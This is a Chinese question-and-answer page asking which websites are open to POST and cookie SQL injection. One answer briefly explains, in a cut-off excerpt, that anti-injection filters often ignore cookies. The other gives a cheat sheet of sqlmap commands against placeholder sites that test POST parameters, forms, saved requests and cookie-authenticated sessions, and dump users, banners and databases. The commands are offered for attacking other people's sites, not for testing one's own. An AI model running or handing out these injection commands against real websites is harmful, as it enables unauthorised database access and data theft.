Question

什么站存在post注入和cookic注入

Answer 1

现在很多网站都加了防注入系统代码，你输入注入语句将无法注入~~ 感觉这样的防注入系统不错，但防注入系统没有注意到 Cookies 的问题！ 所以就有了Cookies注入~~ 我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP 你应该会知道 Reques...

Answer 2

qlmap
SqlMap POST注入
自动检测
sqlmap -u “http://www.xxx.com/news?id=1″ –smart –level 3 –users
单个注入
sqlmap -u “http://www.xxx.com/1.php” –data=”id=1″
多个post值注入
sqlmap -u “http://www.xxx.com/vuln.php” –data=”query=foobar;id=1″ –param-del=”;” -f –banner –dbs –users
自动注入
sqlmap -u http://xxxx.xxxx.com/Login.asp –forms
导入文件注入
sqlmap -r key.txt “name,pass” //不知道 key.txt 的位置
登录post注册
sqlmap -u “http://www.xxx.com/vuln.php” –data=”query=foobar;id=1″ –param-del=”;” –cookies=”登录成功的cookie信息” -f –banner –dbs –users